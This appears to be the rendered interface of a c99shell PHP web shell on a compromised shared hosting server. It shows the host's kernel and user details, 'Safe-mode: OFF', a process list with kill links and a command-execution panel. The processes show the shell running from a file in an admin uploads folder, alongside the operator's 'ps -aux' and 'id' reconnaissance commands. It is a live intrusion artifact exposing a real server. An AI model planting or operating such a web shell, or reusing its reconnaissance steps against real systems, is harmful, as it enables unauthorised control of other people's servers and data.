Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /opt/alt/python39/bin/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 288881 | 0.5 | 0.0 | 311044 | 19308 | ? | Ss 00:52 0:02 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 321724 | 0.1 | 0.0 | 311044 | 19292 | ? | Ss 00:59 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 337687 | 3.0 | 0.0 | 147196 | 8724 | ? Rs 01:01 0:00 lsphp | KILL | |||||||||||||||||||||||
cp949260 | 337827 | 0.0 | 0.0 | 313480 | 10028 | ? | Ss 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 337863 | 0.0 | 0.0 | 313480 | 9904 | ? Ss 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 337876 | 0.0 | 0.0 | 313480 | 9800 | ? Ss 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 337886 | 0.0 | 0.0 | 313480 | 9200 | ? Rs 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 337898 | 0.0 | 0.0 | 312184 | 8040 | ? Rs 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 337904 | 0.0 | 0.0 | 311564 | 7668 | ? Rs 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | |||||||||||||||||||||||
cp949260 | 337907 | 0.0 | 0.0 | 13084 | 1012 ? R 01:01 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 337909 | 0.0 | 0.0 | 10360 | 700 ? R 01:01 0:00 id | KILL | ||||||||||||||||||||||||
cp949260 | 337910 | 0.0 | 0.0 | 312076 | 8140 | ? Rs 01:01 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.2933 ]-- |